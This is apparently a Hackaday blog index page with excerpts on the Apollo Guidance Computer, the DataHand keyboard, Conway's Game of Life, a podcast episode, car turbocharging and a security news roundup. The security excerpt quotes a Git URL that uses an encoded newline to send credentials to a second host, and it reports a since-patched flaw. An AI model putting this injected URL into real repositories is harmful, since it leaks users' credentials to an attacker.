Hacking Apollo Hack Chat

Join us on Wednesday, April 22 at noon Pacific for the Hacking Apollo Hack Chat with “CuriousMarc” VerdiellKen ShirriffMike Stewart, and Carl Claunch!

When President Kennedy laid down the gauntlet to a generation of scientists and engineers to land a man on the Moon before the close of the 1960s, he likely had little idea what he was putting in motion. The mission was dauntingly complex, the science was untested, and the engineering was largely untried. Almost everything had to be built from scratch, and entire industries were born just from the technologies that had to be invented to make the dream come true.

Chief among these new fields was computer science, which was barely in its infancy when the 1960s started. By the end of the decade and the close of the Space Race, computers had gone from room-filling, power-guzzling machines to something compact and capable enough to fly men to the Moon and back. The computers that followed all built on the innovations that came about as a result of Apollo, and investigating the computers of the era and finding out what made them tick is an important part of our technological culture.

That’s where this retrocomputing dream team came into play. Together, they’ve poked and prodded at every bit of hardware from the Space Race era they could find, including a genuine Apollo Guidance Computer (AGC) that was rescued from the trash. What’s more, they actually managed to restore it to working condition with a series of epic hacks and sheer force of will.

Marc, Ken, Mike, and Carl will stop by the Hack Chat to talk about everything that went into getting the AGC working again, along with anything else that pops up. Come ready to have your Apollo-era hardware itches scratched by the people who’ve been inside a lot of it, and who have seen first-hand what it took to make it to the Moon and back.

join-hack-chatOur Hack Chats are live community events in the Hackaday.io Hack Chat group messaging. This week we’ll be sitting down on Wednesday, April 22 at 12:00 PM Pacific time. If time zones have got you down, we have a handy time zone converter.

Click that speech bubble to the right, and you’ll be taken directly to the Hack Chat group on Hackaday.io. You don’t have to wait until Wednesday; join whenever you want and you can see what the community is talking about.

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Inputs Of Interest: The Differently Dexterous DataHand Directionalizes Digits

If you had debilitating pain from repetitive stress injury in the 1990s, there were a lot of alternative keyboard options out there. One of the more eye-catching offerings was the DataHand keyboard made by DataHand Systems out of Phoenix, AZ. The DataHand debuted in 1993 with a price tag around $2,000. While this is admittedly pretty steep for the average consumer, it was well within the IT budgets of companies that wanted to avoid workman’s comp claims and keep their employees typing away.

In theory, this is holy grail territory for anti-RSI keyboards. The DataHand was designed to eliminate wrist motion altogether by essentially assigning a d-pad plus a regular push-down button to each finger. The layout resembles QWERTY as closely as possible and uses layers to access numbers, symbols, and other functions, like a rudimentary mouse.

Although if you put them this close together, you’re kind of missing the point. Image via Bill Buxton

Ergonomic to the Max

Typing on the DataHand is supposed to be next to effortless. The directional switches are all optical, which probably has a lot to do with the eye-popping price point. But instead of being spring-loaded, these switches use magnets to return to the neutral position.

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Hackaday Links: April 19, 2020

While the COVID-19 pandemic at least seems to be on a downward track, the dystopian aspects of the response to the disease appear to be on the rise. As if there weren’t enough busybodies and bluenoses shaming their neighbors for real or imagined quarantine violations on social media, now we have the rise of social-distancing enforcement drones. These have been in use in hot zones around the world, of course, but have only recently arrived in the US. From New Jersey to Florida, drones are buzzing about in search of people not cowering in fear in their homes and blaring messages about how they face fines and arrest for seeking a little fresh air and sunshine. We’re all in favor of minimizing contact with potentially infected people, but it seems like these methods might be taking things a bit too far.

If you somehow find yourself with some spare time and want to increase your knowledge, or at least expand your virtual library, Springer Publishing has some exciting news for you. The journal and textbook publisher has made over 400 ebook titles available for free download. We had a quick scan over the list, and while the books run the gamut from social sciences to astrophysics, there are plenty of titles that are right in the wheelhouse of most Hackaday readers. There are books on power electronics, semiconductor physics, and artificial intelligence, as well as tons more. They all seem to be recent titles, so the information isn’t likely to be too dated. Give the list a once-over and happy downloading.

Out of all the people on this planet, the three with the least chance of being infected with SARS-CoV-2 blasted off from Kazakhstan this week on Soyuz MS-16 to meet up with the ISS. The long-quarantined crew of Anatoly Ivanishin, Ivan Vagner, and Chris Cassidy swapped places with the Expedition 62 crew, who returned to Earth safely in the Soyuz MS-15 vehicle. It’s a strange new world they return to, and we wish them and their ISS colleagues all the best. What struck us most about this mission, though, was some apparently surreptitiously obtained footage of the launch from a remarkably dangerous position. We saw some analysis of the footage, and based on the sound delay the camera was perhaps as close as 150 meters to the launchpad. It’s hard to say if the astronauts or the camera operator was braver.

And finally, because neatness counts, we got this great tip on making your breadboard jumpers perfectly straight. There’s something satisfying about breadboard circuits where the jumpers are straight and exactly the length the need to be, and John Martin’s method is so simple you can’t help but use it. He just rolls the stripped jumpers between his bench and something flat; he uses a Post-it note pad but just about anything will do. The result is satisfyingly straight jumpers, ready to be bent and inserted. We bet this method could be modified to work with the stiffer wire normally used in circuit sculptures like those of Mohit Bhoite; he went into some depth about his methods during his Supercon talk last year, and it’s worth watching if you haven’t seen it yet.

The Game That Launched 1,000 Hackers

John Conway passed away this week. Even if you don’t know much about mathematics, you will probably know nearly everyone’s favorite cellular automata ruleset: Conway’s “Game of Life”. It’s so much a part of our cultural history, that proto-hacker Eric Scott Raymond suggested using the glider as the hacker emblem.

The idea that a very simple set of rules, applied equally and everywhere, could result in “life” was influential in my growth as a young hacker, and judging from the comments on our article about Conway, I’m not alone. But I won’t lie: I was a kid and thought that it could do much more than make pretty patterns on the screen. I was both right and wrong.

Although amazingly complex machines can be built in Conway’s Life, just check out this video for proof, in the end no grand unifying theory of cellular automata has emerged. As a research topic Conway’s chosen field of mathematics, cellular automata is a backwater. It didn’t really go anywhere. Or did it?

Implementing Conway’s Life in BASIC on a Tandy Color Computer was one of the first things that launched me on my geeky path. It ranks with MENACE: the matchbox-based machine learning algorithm from the 1960’s and an introduction to Markov Chains in the form of a random text generator in my young algorithmic life, all of which I incidentally read about in Martin Gardner’s column in “Scientific American”. Conway’s Life, along with some dumb horse-race game, also taught me about bad random-number generators: the screen would populate the same “randomly” every time on the old CoCo.

So maybe Conway didn’t want to be remembered just for his “Life” because it was a bit of a mathematical dead-end. But in terms of its impact on the world, an entire generation of hackers, and my own personal life, it was able to fill up significantly more than a screen full of pixels. Here’s to Conway, his “Life”, and everyone else who is inspiring the next. You’re not just gliders, you’re glider guns!

This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on the web version of the newsletter.

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[Game of Life example shown in this article is John Conway’s Game of Life – 1.0 written in Python by Nick Jarvis and Nick Wayne]

Hackaday Podcast 063: Magnetic Gears, AI Green Screen, Plasma <3 Sharpie, And A Rubbery Drivetrain

Hackaday editors Mike Szczys and Elliot Williams sift for hacking gold from the past week. In this episode, we remember John Horton Conway’s Game of Life and its effect on novice programmers. We geek out adding screens to your car with an OBD-II hack, automating a Sharpie clicker as part of a plasma cutter, and 3D printing an incredible RC car that drives every wheel from a single motor. Plus we look at machine-learning for custom backgrounds in your video chats, take a gander at the coming generation of ePaper displays, and we get cultured about yeast.

Take a look at the links below if you want to follow along, and as always tell us what you think about this episode in the comments!

Take a look at the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!

Direct download (60 MB or so.)

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This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation

Git released an update on Tuesday, fixing an issue that could result in leaking credentials. The vulnerability was in how Git handles an HTTP URL containing a newline. Looking at the commits in 2.26.1, we can find an example of an attack:
url = "https://one.example.com?%0ahost=two.example.com/foo.git"

So doing a git pull against this repository will connect your git instance to an attacker’s server, but using the credentials from an arbitrary server. It seems like this could potentially be used to steal Github credentials, for instance. So go make sure you have an updated Git client.
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How To Get Into Cars: Forced Induction

For those addicted to automotive thrills, there’s always an underlying lust for more power. For those chasing a bigger number, forced induction is one of the most effective ways to achieve it. In addition to more grunt, you get a whole bunch of fun new noises, too.  For those with a naturally aspirated car, here’s how you go about converting to forced induction.

Superchargers and Turbos

When we talk about forced induction, we’re talking about forcing more air into the engine under pressure. With more air available, it’s possible to fully combust more fuel, creating more power. The two most common ways of doing this are supercharging and turbocharging. We’ll be using the common automotive vernacular here, so those eager to bicker about terminology from the early 20th century aircraft industry best do it in the comments. Continue reading “How To Get Into Cars: Forced Induction”